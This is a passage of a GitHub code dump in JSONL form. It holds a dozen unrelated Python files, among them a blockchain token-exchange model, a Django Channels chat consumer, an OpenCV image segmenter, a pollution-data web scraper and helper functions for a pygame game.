:\",a)\r\n\r\nc=circle()\r\n\r\nchoice=0\r\nwhile(choice!=5):\r\n choice=int(input(\"***Enter Your Choice*** \\n 1 create Account\\n 2 chek\\n 3 dep \\n 4 with\\n 5 exit \"))\r\n if(choice==1):\r\n cn=input(\"Enter Name :\")\r\n ca=input(\"Enter Address :\")\r\n an=eval(input(\"Enter Account Number :\"))\r\n cb=eval(input(\"Enter Initial Balance :\"))\r\n ob.acc_create(cn,ca,an,cb)\r\n if(choice==2):\r\n ob.chkbal()\r\n if(choice==3):\r\n v=eval(input(\"Enter Deposit Amount :\"))\r\n ob.deposit(v)\r\n if(choice==4):\r\n amt=eval(input(\"Enter Withdraw Amount :\"))\r\n ob.withdraw(amt)\r\n ob.upbal()\r\n ","repo_name":"iKaushikChaudhari/Python","sub_path":"area circle.py","file_name":"area circle.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"33792677812","text":"import coremltools\nimport onnxmltools\n\n# Update your input name and path for your caffe model\nproto_file = '/root/optimization/face_tensorrt/res/caffemodel/det1.prototxt'\ninput_caffe_path = '/root/optimization/face_tensorrt/res/caffemodel/det1.caffemodel'\n\n# Update the output name and path for intermediate coreml model, or leave as is\noutput_coreml_model = 'model.mlmodel'\n\n# Change this path to the output name and path for the onnx model\noutput_onnx_model = '/root/optimization/face_tensorrt/res/onnx/det1.onnx'\n\n\n# Convert Caffe model to CoreML\ncoreml_model = coremltools.converters.caffe.convert((input_caffe_path, proto_file))\n\n# Save CoreML model\ncoreml_model.save(output_coreml_model)\n\n# Load a Core ML model\ncoreml_model = coremltools.utils.load_spec(output_coreml_model)\n\n# Convert the Core ML model into ONNX\nonnx_model = onnxmltools.convert_coreml(coreml_model)\n\n# Save as protobuf\nonnxmltools.utils.save_model(onnx_model, output_onnx_model)","repo_name":"mukaman84/face_tensorrt","sub_path":"src/python/caffe2onnx.py","file_name":"caffe2onnx.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"74660998328","text":"from sqlalchemy.dialects.postgresql import JSON\nfrom sqlalchemy.orm.attributes import flag_modified\n\nfrom functools import partial\nfrom flask import current_app, g\nfrom uuid import uuid4\n\nfrom server import db, bt\n\nimport server.models.credit_transfer\nimport server.models.transfer_account\nfrom server.utils.transfer_enums import TransferTypeEnum\n\nfrom server.models.utils import (\n ModelBase,\n BlockchainTaskableBase,\n exchange_contract_token_association_table\n)\n\nfrom server.utils.transfer_account import find_transfer_accounts_with_matching_token\nfrom server.utils.root_solver import find_monotonic_increasing_bounds, false_position_method\nfrom server.exceptions import InsufficientBalanceError, SubexchangeNotFound\n\n\nclass ExchangeContract(ModelBase):\n \"\"\"\n class for tracking contracts used for making on-chain exchanges of tokens\n (rather than using an internal sempo blockchain account that holds and swaps multiple tokens)\n currently only supports exchanges using liquid token contracts, though could be extended to support\n a constant-product market maker, continuous-double auction DEX etc.\n\n @:param blockchain_address:\n The address to which exchange requests should be sent.\n @:param contract_registry_blockchain_address:\n The contract registry is used to add new liquid token sub-exchanges.\n @:param subexchange_address_mapping:\n Exchanges made using a liquid token don't use a single on-chain contract, but rather a network of\n exchange-contracts, one for each token that can be exchanged, which we label 'sub-exchanges'.\n Each one of these sub-exchanges includes an internal reserve-token balance, and has parameters defined\n such as the reserve-ratio.\n @:param reserve_token:\n The stable token used as the reserve for liquid tokens.\n @:param exchangeable_tokens:\n The tokens that are exchangable using this contract\n @:param transfer_accounts:\n Accounts used for tracking the sends and receives of the various tokens exchangable by the exchange-network\n \"\"\"\n __tablename__ = 'exchange_contract'\n\n blockchain_address = db.Column(db.String(), index=True)\n\n contract_registry_blockchain_address = db.Column(db.String(), index=True)\n\n subexchange_address_mapping = db.Column(JSON)\n\n reserve_token_id = db.Column(db.Integer, db.ForeignKey(\"token.id\"))\n\n exchangeable_tokens = db.relationship(\n \"Token\",\n secondary=exchange_contract_token_association_table,\n back_populates=\"exchange_contracts\")\n\n transfer_accounts = db.relationship(\n 'TransferAccount', backref='exchange_contract',\n lazy=True, foreign_keys='TransferAccount.exchange_contract_id'\n )\n\n def get_subexchange_details(self, token_address):\n if self.subexchange_address_mapping is None:\n raise SubexchangeNotFound\n\n details = self.subexchange_address_mapping.get(token_address, None)\n\n if not details:\n raise SubexchangeNotFound\n\n return details\n\n\n def _add_subexchange(self, token_address, subexchange_address, subexchange_reserve_ratio_ppm):\n if self.subexchange_address_mapping is None:\n self.subexchange_address_mapping = {}\n self.subexchange_address_mapping[token_address] = {\n 'subexchange_address': subexchange_address,\n 'subexchange_reserve_ratio_ppm': subexchange_reserve_ratio_ppm\n }\n\n if self.blockchain_address is None:\n self.blockchain_address = subexchange_address\n\n flag_modified(self, \"subexchange_address_mapping\")\n db.session.add(self)\n\n def add_reserve_token(self, reserve_token):\n self.reserve_token = reserve_token\n self.add_token(reserve_token, None, None)\n\n def add_token(self, token, subexchange_address, subexchange_reserve_ratio):\n\n exchange_transfer_account = (server.models.transfer_account.TransferAccount.query\n .filter_by(token=token)\n .filter_by(exchange_contract=self)\n .first())\n\n if not exchange_transfer_account:\n\n exchange_transfer_account = server.models.transfer_account.TransferAccount(\n bound_entity=self,\n token=token,\n is_approved=True)\n\n db.session.add(exchange_transfer_account)\n\n if subexchange_address:\n self.exchangeable_tokens.append(token)\n self._add_subexchange(token.address, subexchange_address, subexchange_reserve_ratio)\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n\nclass Exchange(BlockchainTaskableBase):\n __tablename__ = 'exchange'\n\n to_desired_amount = db.Column(db.Integer)\n user_id = db.Column(db.Integer, db.ForeignKey(\"user.id\"))\n exchange_rate = db.Column(db.FLOAT)\n\n # user_transfer_account_id = db.Column(db.Integer, db.ForeignKey(\"transfer_account.id\"))\n # transfer_account = relationship(\"TransferAccount\", back_populates=\"exchanges\")\n\n from_token_id = db.Column(db.Integer, db.ForeignKey(\"token.id\"))\n to_token_id = db.Column(db.Integer, db.ForeignKey(\"token.id\"))\n\n from_transfer_id = db.Column(db.Integer, db.ForeignKey(\"credit_transfer.id\"), index=True)\n to_transfer_id = db.Column(db.Integer, db.ForeignKey(\"credit_transfer.id\"), index=True)\n\n @staticmethod\n def get_exchange_rate(from_token, to_token):\n \"\"\"\n eg if from USD to AUD, and 1 USD buys 2 AUD\n return AUD 2\n :param from_token:\n :param to_token:\n :return:\n \"\"\"\n\n from_amount = 1\n\n exchange_contract = Exchange._find_exchange_contract(from_token, to_token)\n\n to_amount = bt.get_conversion_amount(\n exchange_contract=exchange_contract,\n from_token=from_token,\n to_token=to_token,\n from_amount=from_amount)\n\n return to_amount/from_amount\n\n def exchange_from_amount(\n self, user, from_token, to_token, from_amount, calculated_to_amount=None, prior_task_uuids=None,\n transfer_mode=None, queue='high-priority'\n ):\n self.user = user\n self.from_token = from_token\n self.to_token = to_token\n self.from_amount = from_amount\n\n self.exchange_contract = self._find_exchange_contract(from_token, to_token)\n\n self.from_transfer = server.models.credit_transfer.CreditTransfer(\n from_amount,\n from_token,\n sender_user=user,\n recipient_transfer_account=find_transfer_accounts_with_matching_token(self.exchange_contract, from_token),\n transfer_type=TransferTypeEnum.EXCHANGE,\n transfer_mode=transfer_mode\n )\n\n db.session.add(self.from_transfer)\n\n signing_address = self.from_transfer.sender_transfer_account.blockchain_address\n\n prior = []\n\n # TODO: set these so they either only fire on the first use of the exchange, or entirely asyn\n # We need to approve all the tokens involved for spend by the exchange contract\n self.to_approval_uuid = bt.make_approval(\n signing_address=signing_address,\n token=to_token,\n spender=self.exchange_contract.blockchain_address,\n amount=from_amount * 100000,\n prior_tasks=prior\n )\n\n self.reserve_approval_uuid = bt.make_approval(\n signing_address=signing_address,\n token=self.exchange_contract.reserve_token,\n spender=self.exchange_contract.blockchain_address,\n amount=from_amount * 100000,\n prior_tasks=prior\n )\n\n self.from_approval_uuid = bt.make_approval(\n signing_address=signing_address,\n token=from_token,\n spender=self.exchange_contract.blockchain_address,\n amount=from_amount*100000,\n prior_tasks=prior\n )\n\n if calculated_to_amount:\n to_amount = calculated_to_amount\n else:\n to_amount = bt.get_conversion_amount(exchange_contract=self.exchange_contract,\n from_token=from_token,\n to_token=to_token,\n from_amount=from_amount,\n signing_address=signing_address)\n\n self.exchange_rate = to_amount/from_amount\n\n self.blockchain_task_uuid = str(uuid4())\n g.pending_transactions.append((self, queue))\n\n self.to_transfer = server.models.credit_transfer.CreditTransfer(\n to_amount,\n to_token,\n sender_transfer_account=find_transfer_accounts_with_matching_token(self.exchange_contract, to_token),\n recipient_user=user,\n transfer_type=TransferTypeEnum.EXCHANGE,\n transfer_mode=transfer_mode,\n require_sufficient_balance=False\n )\n\n db.session.add(self.to_transfer)\n\n self.from_transfer.blockchain_task_uuid = self.blockchain_task_uuid\n self.to_transfer.blockchain_task_uuid = self.blockchain_task_uuid\n\n self.from_transfer.resolve_as_complete()\n self.to_transfer.resolve_as_complete()\n\n def send_blockchain_payload_to_worker(self, queue='high-priority'):\n return bt.make_liquid_token_exchange(\n signing_address=self.from_transfer.sender_transfer_account.blockchain_address,\n exchange_contract=self.exchange_contract,\n from_token=self.from_token,\n to_token=self.to_token,\n reserve_token=self.exchange_contract.reserve_token,\n from_amount=self.from_amount,\n prior_tasks=[self.to_approval_uuid, self.reserve_approval_uuid, self.from_approval_uuid],\n task_uuid=self.blockchain_task_uuid\n )\n\n def exchange_to_desired_amount(self, user, from_token, to_token, to_desired_amount, transfer_mode):\n \"\"\"\n This is 'to_desired_amount' rather than just 'to_amount'\n because we can't actually guarantee how much of the 'to' token the user will receive through the exchange\n \"\"\"\n from_amount, calculated_to_amount = self._estimate_from_amount(from_token, to_token, to_desired_amount)\n\n self.exchange_from_amount(user, from_token, to_token, from_amount, calculated_to_amount, transfer_mode)\n\n @staticmethod\n def _find_exchange_contract(from_token, to_token):\n\n def exchangeable_by_contract(token, contract):\n return token == contract.reserve_token or token in contract.exchangeable_tokens\n\n # TODO: get this to work as an actual SQLAlchemy Filter\n exchange_contracts = ExchangeContract.query.all()\n exchange_contract = None\n for c in exchange_contracts:\n if exchangeable_by_contract(from_token, c) and exchangeable_by_contract(to_token, c):\n exchange_contract = c\n\n if exchange_contract is None:\n raise Exception(\"No matching exchange contract found\")\n\n return exchange_contract\n\n def _get_conversion_function(self, exchange_contract, from_token, to_token):\n return partial(\n bt.get_conversion_amount,\n exchange_contract.blockchain_address,\n from_token,\n to_token,\n exchange_contract.reserve_token\n )\n\n def _estimate_from_amount(self, from_token, to_token, to_desired_amount):\n max_error = 3e-15\n\n exchange_contract = self._find_exchange_contract(from_token, to_token)\n conversion_func = self._get_conversion_function(exchange_contract, from_token, to_token)\n\n def root_func(x):\n return conversion_func(x) - to_desired_amount\n\n x_lower, y_lower, x_upper, y_upper = find_monotonic_increasing_bounds(root_func, to_desired_amount)\n\n new_x, new_y = false_position_method(\n root_func,\n x_lower, y_lower,\n x_upper, y_upper,\n max_error, max_iterations=6)\n\n return new_x, new_y + to_desired_amount\n","repo_name":"teamsempo/SempoBlockchain","sub_path":"app/server/models/exchange.py","file_name":"exchange.py","file_ext":"py","file_size_in_byte":12061,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"77"} +{"seq_id":"25211556289","text":"from channels.generic.websocket import WebsocketConsumer \nimport json\n# The Consumer is synchronous but the channel layers are asynchronous \nfrom asgiref.sync import async_to_sync\n\nfrom chat.models import message,user\n\n\n# RUN docker run -p 6379:6379 -d redis:5 in terminal\n\nclass ChatWsConsumer (WebsocketConsumer):\n # class method to establish connection\n def connect(self):\n # collects connection details from the routing url \n self.roomName = self.scope['url_route'][\"kwargs\"][\"roomName\"]\n self.roomGroup = 'chat_{}'.format(self.roomName)\n\n # Establish the layer details and group to join \n async_to_sync(self.channel_layer.group_add)(\n self.roomGroup ,\n self.channel_name\n )\n\n #Join \n self.accept()\n\n # class method to disconnect from group \n def disconnect(self, close_code):\n async_to_sync(self.channel_layer.group_discard)(\n self.roomGroup ,\n self.channel_name\n )\n\n\n # class method to recieve message from the js websocket .send function \n def receive(self, text_data):\n received = json.loads(text_data)\n Keys = received.keys()\n\n # If a message is received\n if \"message\" in Keys :\n message = received[\"message\"]\n user = received[\"user\"]\n room = received[\"room\"]\n\n # Send message to user\n self.messToUser(user , message, room)\n\n\n async_to_sync(self.channel_layer.group_send)(\n self.roomGroup,\n {\n # type dictates which method the data is sent to\n 'type': 'messageReceived',\n 'message':message,\n 'User': user,\n 'room': room\n })\n\n # If delete button is clicked, this dict will be recieved\n elif \"delete\" in Keys :\n room = received['delete']\n async_to_sync(self.channel_layer.group_send)(\n self.roomGroup,\n {\n # type dictates which method the data is sent to\n 'type': 'messagesDelete',\n 'room': room\n })\n\n\n\n# Receives data from receive method \n def messageReceived(self, data):\n message = data['message']\n user = data['User']\n\n\n # Sends data back to websocket\n self.send(text_data = json.dumps({\n 'message': message,\n 'User': user\n }))\n\n# Delete ChatRoom messages\n def messagesDelete(self,data):\n room = data[\"room\"]\n\n message.objects.filter(group=room).delete()\n\n self.send(text_data = json.dumps({\n \"delete\":\"delete\"\n }))\n\n# Method to save messages into new message objects \n def messToUser(self, username, text, roomChat):\n\n message.objects.create(content=text, group=roomChat, user=user.objects.get(name=username))","repo_name":"Greenstan/LiveChatTest","sub_path":"chat/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":2921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"18599694994","text":"import os\nimport sys\nimport cv2\n\nfrom cropper import crop\n\n\ndef seg_crop(file_name):\n BASE_DIR = os.path.dirname(os.path.abspath(__file__))\n path = os.path.join(BASE_DIR, \"data/\" + file_name)\n img = cv2.imread(path)\n img = crop(img, True)\n img_gray = cv2.imread(path, cv2.IMREAD_GRAYSCALE)\n img_gray = crop(img_gray, False)\n ret, thresh1 = cv2.threshold(img_gray, 245, 255, cv2.THRESH_BINARY)\n cv2.imwrite(\n os.path.join(BASE_DIR, \"Thresholds/thresholdcheck of \" + file_name + \".jpg\"), thresh1)\n ret, thresh = cv2.threshold(\n thresh1, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)\n imga, contours, hierarchy = cv2.findContours(\n thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n\n print(len(contours))\n for i in range(0, len(contours)):\n area = cv2.contourArea(contours[i])\n if i == 0:\n maxArea = area\n # print(maxArea)\n # print(img_gray.size)\n bigIndex = i\n if area > maxArea:\n maxArea = area\n bigIndex = i\n # print(cv2.contourArea(contours[2]))\n # print(bigIndex)\n # cv2.drawContours(img, contours[index], -1, (255,0,255),2, cv2.LINE_AA, maxLevel=2)\n # print(hierarchy)\n # maxAreaContour = hierarchy[index]\n # print(maxAreaContour)\n i = hierarchy[0][bigIndex][2]\n # print(i)\n count = 0\n while True:\n # print(\"here\")\n count += 1\n x, y, w, h = cv2.boundingRect(contours[i])\n\n boxArea = w * h\n # print(\"BA:\"+str(boxArea))\n if boxArea < img_gray.size / 100:\n # print(\"herein\")\n i = hierarchy[0][i][0]\n # print(i)\n if(i == -1):\n break\n continue\n\n childIndex = hierarchy[0][i][2]\n # cv2.drawContours(img, contours[childIndex], -1, (255,0,255),2,\n # cv2.LINE_AA, maxLevel=2)\n\n while True:\n x, y, w, h = cv2.boundingRect(contours[childIndex])\n\n contentArea = w * h\n # print(contentArea)\n\n if (contentArea > 900):\n cropped_image = img[y:y + h, x:x + w]\n # print(childIndex)\n cv2.imwrite(\n os.path.join(BASE_DIR, \"croppedchildren/\" + file_name[:-3] + \" of \" + str(childIndex) + \".jpg\"), cropped_image)\n\n img = cv2.rectangle(\n img, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n cv2.drawContours(img, contours[childIndex], -1, (\n 255, 0, 255), 2, cv2.LINE_AA, maxLevel=2)\n break\n\n if(hierarchy[0][childIndex][0] == -1):\n break\n\n else:\n childIndex = hierarchy[0][childIndex][0]\n\n # cv2.imwrite('convehull.jpg',img)\n\n i = hierarchy[0][i][0]\n if(hierarchy[0][i][0] == -1):\n break\n # pass\n # cv2.drawContours(img, contours[52], -1, (255,0,255),2, cv2.LINE_AA,\n # maxLevel=2)\n\n nextBoxIndex = hierarchy[0][0][2]\n # firtChild = contours[firstChildIndex]\n # firstChildIndex = hierarchy[0][nextBoxIndex][2]\n\n # print(firstChildIndex)\n\n # print(contours[2])\n\n cnt = contours[bigIndex]\n x, y, w, h = cv2.boundingRect(cnt)\n # img = cv2.rectangle(img,(x,y),(x+w,y+h),(0,255,0),2)\n # cropped_image = img[y:y+h, x:x+w]\n cv2.imwrite(\n os.path.join(BASE_DIR, 'Segmentation map/seg_map of ' + file_name + '.jpg'), img)\n\n # cv2.imshow('img',img)\n\nif __name__ == \"__main__\":\n imga = seg_crop(sys.argv[1])\n cv2.imshow('img', imga)\n","repo_name":"SafalPandey/ankaAnumaan","sub_path":"boundingBox.py","file_name":"boundingBox.py","file_ext":"py","file_size_in_byte":3552,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"17602100365","text":"from bs4 import Tag, NavigableString, BeautifulSoup\nimport requests\n\ncountry = 'Belgium'\ncity = \"city2_values\"\n\nheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Language': 'en-US,en;q=0.5',\n 'DNT': '1', # Do Not Track Request Header\n 'Connection': 'close'}\nresponse = requests.get('https://www.numbeo.com/pollution/in/' + city, headers=headers, timeout=5)\n\ntry:\n response.raise_for_status()\nexcept Exception as exc:\n print('there was a problem: %s' % (exc))\n\nsoup = BeautifulSoup(response.text, 'html.parser')\n\npollution_index = soup.find('td', text=\"Pollution Index: \")\nair_pollution = soup.find('td', text=\"Air Pollution\")\ndrinking_water_quality = soup.find('td', text=\"Drinking Water Quality and Accessibility\")\ndirty_untidy = soup.find('td', text=\"Dirty and Untidy\")\nnoise_pollution = soup.find('td', text=\"Noise and Light Pollution\")\nwater_pollution = soup.find('td', text=\"Water Pollution\")\ncomfortable_time_spend_city = soup.find('td', text= \"Comfortable to Spend Time in the City\")\nquality_green_parks = soup.find('td', text=\"Quality of Green and Parks\")\n\nscrape_list = [pollution_index, air_pollution, drinking_water_quality, dirty_untidy, noise_pollution, noise_pollution, water_pollution,\n comfortable_time_spend_city, quality_green_parks]\n\nfor item in scrape_list:\n print(item.get_text())\n for line in item.next_siblings:\n if isinstance(line, Tag): # get rid of empty lines which are NavigableStrings\n if len(line.get_text()) > 2: # get rid of tags without text content or blancs\n print(line.get_text())\n print()\n","repo_name":"kris3140/Groepswerk_Syntra_XK","sub_path":"Pollution.py","file_name":"Pollution.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"11433548448","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport time\n\nfig = plt.figure()\nax1 = fig.add_subplot( 1, 1, 1 )\n\nplot_filtered_pos_x = []\nplot_filtered_pos_y = []\nplot_raw_pos_x = []\nplot_raw_pos_y = []\n\n\ndef readData(csv_file_name):\n # Step1: Read the Data from sensor\n # or\n # Step1: Read the Data from csv\n df = pd.read_csv( csv_file_name )\n\n # Step2: Pass the measured data to the algorithm\n for index, row in df.iterrows():\n plot_filtered_pos_x.append( float( row['x_f'] ) )\n plot_filtered_pos_y.append( float( row['y_f'] ) )\n plot_raw_pos_x.append( float( row['x_r'] ) )\n plot_raw_pos_y.append( float( row['y_r'] ) )\n time.sleep( 0.1 )\n\n\ndef animate(i):\n ax1.clear()\n ax1.plot( plot_raw_pos_x, plot_raw_pos_y(),\n color='red' )\n ax1.scatter( plot_filtered_pos_x, plot_filtered_pos_y, color='blue',\n facecolors='none' )\n","repo_name":"eternalamit5/Indoor-Localisation","sub_path":"RAKF-Posxyz/Utilities/PlotAnimation.py","file_name":"PlotAnimation.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"41772517079","text":"na, nb, nc = list(input(\"Masukkan daftar siswa : \") .split(\", \"))\nnac = na.title()\nnbc = nb.title()\nncc = nc.title()\nprint(\"\\nDaftar Siswa : ['\"+nac+\"', '\"+nbc+\"', '\"+ncc+\"']\")\nb = input(\"\\nMasukkan siswa yang ingin ditambahkan : \")\nbc = b.title()\nbcu = bc.upper()\nif (bc == nac) :\n print(\"\\nSiswa atas nama\",bcu,\"sudah berada dalam daftar siswa\")\nelif (bc == nbc) :\n print(\"\\nSiswa atas nama\",bcu,\"sudah berada dalam daftar siswa\")\nelif (bc == ncc) :\n print(\"\\nSiswa atas nama\",bcu,\"sudah berada dalam daftar siswa\")\nelse :\n print(\"\\nHasil penambahan pada daftar siswa : ['\"+nac+\"', '\"+nbc+\"', '\"+ncc+\"', '\"+bcu+\"']\")\n","repo_name":"Gusty16/UG10_E_71210790","sub_path":"3_E_71210790.py","file_name":"3_E_71210790.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"10837974381","text":"import argparse\nimport os\n\nfrom datetime import timedelta\n\nfrom pgpipe.config import Settings\nfrom pgpipe.core import PgPipe\n\n\ndef run():\n parser = argparse.ArgumentParser(description=PgPipe.__doc__)\n subparsers = parser.add_subparsers(dest=\"command\")\n\n # create_db_schema command\n subparsers.add_parser(\"create_db_schema\", help=\"Step 1: Create the database schema.\")\n\n # prepare_chunks command\n subparsers.add_parser(\"prepare_chunks\", help=\"Step 2: Prepare chunks for data transfer.\")\n\n # transfer_data command\n subparsers.add_parser(\"transfer_data\", help=\"Step 3: Transfer data between databases.\")\n\n # Settings\n parser.add_argument(\"--log-level\", default=\"INFO\", help=\"Log level (default: INFO)\")\n parser.add_argument(\"--schemas\", default=[\"public\"], nargs=\"+\", help=\"List of schemas (default: public)\")\n parser.add_argument(\"--chunk-size-offset\", type=int, default=50000, help=\"Chunk size offset (default: 50000)\")\n parser.add_argument(\"--chunk-size-timedelta\", type=int, default=1, help=\"Chunk size timedelta in days (default: 1)\")\n parser.add_argument(\n \"--db-schema-path\",\n type=str,\n default=\"./db_schema.json\",\n help=\"Path to the DB schema file (default: ./db_schema.json)\",\n )\n parser.add_argument(\n \"--chunk-data-path\",\n type=str,\n default=\"./chunk_data.json\",\n help=\"Path to the chunk data file (default: ./chunk_data.json)\",\n )\n parser.add_argument(\n \"--source-dsn\",\n type=str,\n default=None,\n help=\"Source database DSN, if not set it is read from env PGPIPE_SOURCE_DSN\",\n )\n parser.add_argument(\n \"--destination-dsn\",\n type=str,\n default=None,\n help=\"Destination database DSN, if not set it is read from env PGPIPE_DESTINATION_DSN\",\n )\n\n args = parser.parse_args()\n\n if args.source_dsn is None:\n args.source_dsn = os.environ[\"PGPIPE_SOURCE_DSN\"]\n\n if args.destination_dsn is None:\n args.destination_dsn = os.environ[\"PGPIPE_DESTINATION_DSN\"]\n\n settings = Settings(\n log_level=args.log_level,\n schemas=args.schemas,\n chunk_size_offset=args.chunk_size_offset,\n chunk_size_timedelta=timedelta(days=args.chunk_size_timedelta),\n db_schema_path=args.db_schema_path,\n chunk_data_path=args.chunk_data_path,\n pgpipe_source_dsn=args.source_dsn,\n pgpipe_destination_dsn=args.destination_dsn,\n )\n\n pgpipe = PgPipe(settings)\n\n if args.command == \"create_db_schema\":\n pgpipe.create_db_schema()\n elif args.command == \"prepare_chunks\":\n pgpipe.prepare_chunks()\n elif args.command == \"transfer_data\":\n pgpipe.transfer_data()\n else:\n parser.print_help()\n","repo_name":"elboerto/pgpipe","sub_path":"pgpipe/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"} +{"seq_id":"20849371637","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 8 10:16:50 2020\n\n@author: Tuli\n\"\"\"\nimport re\n\ndef land_perimeter(arr):\n perimeter = 0\n for row in arr:\n perimeter += row.count('X') * 4\n perimeter -= sum(2 for _ in re.finditer('(?=XX)', row))\n for column in (zip(*arr)):\n perimeter -= sum(2 for _ in re.finditer('(?=XX)', \"\".join(column)))\n return \"Total land perimeter: \" + str(perimeter)\n \n\n\n(land_perimeter([\"OXOOOX\", \n \"OXOXOO\", \n \"XXOOOX\", \n \"OXXXOO\", \n \"OOXOOX\", \n \"OXOOOO\", \n \"OOXOOX\", \n \"OOXOOO\", \n \"OXOOOO\", \n \"OXOOXX\"]))","repo_name":"Valter-Hunyadi/codewars","sub_path":"land perimeter.py","file_name":"land perimeter.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"27401417976","text":"## Coding related functions ##\n# Defining a function to check if the mouse is in a certain area\ndef mousein(start_x, start_y, end_x, end_y):\n if mouse_x > start_x and mouse_x < end_x and mouse_y > start_y and mouse_y < end_y:\n return True\n else:\n return False\n\n# Defining a function to load files from the directory\ndef load(file_type, name):\n file_location = file_directory + file_type + \" Files\\\\\" + name + \".\"\n if location == \"Image\":\n return pygame.image.load(file_location + \"png\").convert_alpha()\n elif file_type == \"Sound\":\n return pygame.mixer.music.load(file_location + \"ogg\")\n \n# Defining a function to save the game\ndef savegame(savefile):\n save = open(file_directory + \"Save Files\\save\" + savefile + \".txt\", \"w\")\n save.write(character_name + \"\\n\")\n save.write(str(character_level) + \"\\n\")\n save.write(opponent_name + \"\\n\")\n save.write(character_number + \"\\n\")\n save.close()\n\n# Defining a function to delete save files\ndef deletesave(savefile):\n line_number = 0\n save = open(file_directory + \"Save Files\\save\" + savefile + \".txt\", \"r\")\n while True:\n if save.readline() == \"\\n\":\n number_of_lines = line_number\n break\n else:\n line_number += 1\n save.close()\n \n save = open(file_directory + \"Save Files\\save\" + savefile + \".txt\", \"w\")\n save.write(\"No save data\\n\")\n for line in range(number_of_lines - 1):\n save.write(\"\\n\")\n save.close()\n \n# Defining a function to accept text input from the user\ndef accept_text():\n input_text = \"\"\n while True:\n key_pressed = get_key()\n if key_pressed == K_BACKSPACE and len(input_text) != 0:\n input_text = input_text[0:-1]\n elif key_pressed <= 127:\n if shift_held:\n input_text += chr(key_pressed - 32)\n else:\n input_text += chr(key_pressed)\n \n\n# Defining a function to designate the appropriate stats to the enemy depending on what it is\ndef assign_enemy_stats(opponent_name):\n if opponent_name == \"Meme Dog\":\n max_hp = 100\n current_hp = 100\n max_mana = 100\n current_mana = 100\n elif opponent_name == \"Kanye Snake\":\n max_hp = 120\n current_hp = 120\n max_mana = 120\n current_mana = 120\n elif opponent_name == \"Spook Dog\":\n max_hp = 200\n current_hp = 200\n max_mana = 150\n current_mana = 150\n \n else: # if there is an error\n return 1,1,1,1,\"null\"\n\n return max_hp, current_hp, max_mana, current_mana, \"choose ability\"\n \n\n## Character sound functions ##\n# Defining a function to play a sound when heal heart is used\ndef heal_move_sound():\n pygame.mixer.music.load(file_directory + \"Sound Files\\sunni_heal_move.ogg\")\n pygame.mixer.music.set_volume(0.1*volume_multiplier)\n pygame.mixer.music.play(0)\n\n# Defining a function to play a sound when the character attack (with kick or headbutt)\ndef character_attack_sound():\n pygame.mixer.music.load(file_directory + \"Sound Files\\sunni_character_attack1.ogg\")\n pygame.mixer.music.set_volume(volume_multiplier)\n pygame.mixer.music.play(0)\n\n# Defining a function to play a sound when frostbeam is user\ndef frostbeam_move_sound():\n pygame.mixer.music.load(file_directory + \"Sound Files\\sunni_frostbeam_move.ogg\")\n pygame.mixer.music.set_volume(0.2*volume_multiplier)\n pygame.mixer.music.play(0)\n \n \n## Default battle functions ##\n# Defining a function to display how much health or mana has been added or removed\ndef display_stat_change(display_amount_text,display_x,display_y): \n screen.blit(display_amount_text, (display_x,display_y))\n return display_y - 3\n\n# Defining a function for the idle movement of characters\ndef idle_movement(stage,character,frames,x,y):\n if stage == 2*frames - 2:\n character_image = pygame.image.load(file_directory + \"Image Files\\sunni_\" + character + \"_normal2.png\").convert_alpha()\n screen.blit(character_image, (x,y))\n return 1\n else:\n if stage <= frames:\n character_image = pygame.image.load(file_directory + \"Image Files\\sunni_\" + character + \"_normal\" + str(stage) + \".png\").convert_alpha()\n else:\n character_image = pygame.image.load(file_directory + \"Image Files\\sunni_\" + character + \"_normal\" + str(2*frames - stage) + \".png\").convert_alpha()\n screen.blit(character_image, (x,y))\n return stage + 1\n\n# Definining a function to make the screen fade out or in\ndef fade(direction,opacity):\n fade_overlay = pygame.image.load(file_directory + \"Image Files\\sunni_fade_overlay\" + str(opacity) + \".png\").convert_alpha()\n screen.blit(fade_overlay, (0,0))\n \n if direction == \"in\":\n new_opacity = opacity - 10\n elif direction == \"out\":\n new_opacity = opacity + 10\n return new_opacity\n","repo_name":"AndyDeany/Sunni","sub_path":"Python Files/sunni_core_functions.py","file_name":"sunni_core_functions.py","file_ext":"py","file_size_in_byte":4901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"3197798648","text":"from __future__ import unicode_literals\n\nfrom django.db import models\n\n\nclass Player(models.Model):\n \"\"\"\n An Opta player. \n\n Should be biographical and meta information about the player.\n \"\"\"\n POSITIONS = (\n (\"Goalkeeper\", \"Goalkeeper\"),\n (\"Wing Back\", \"Wing 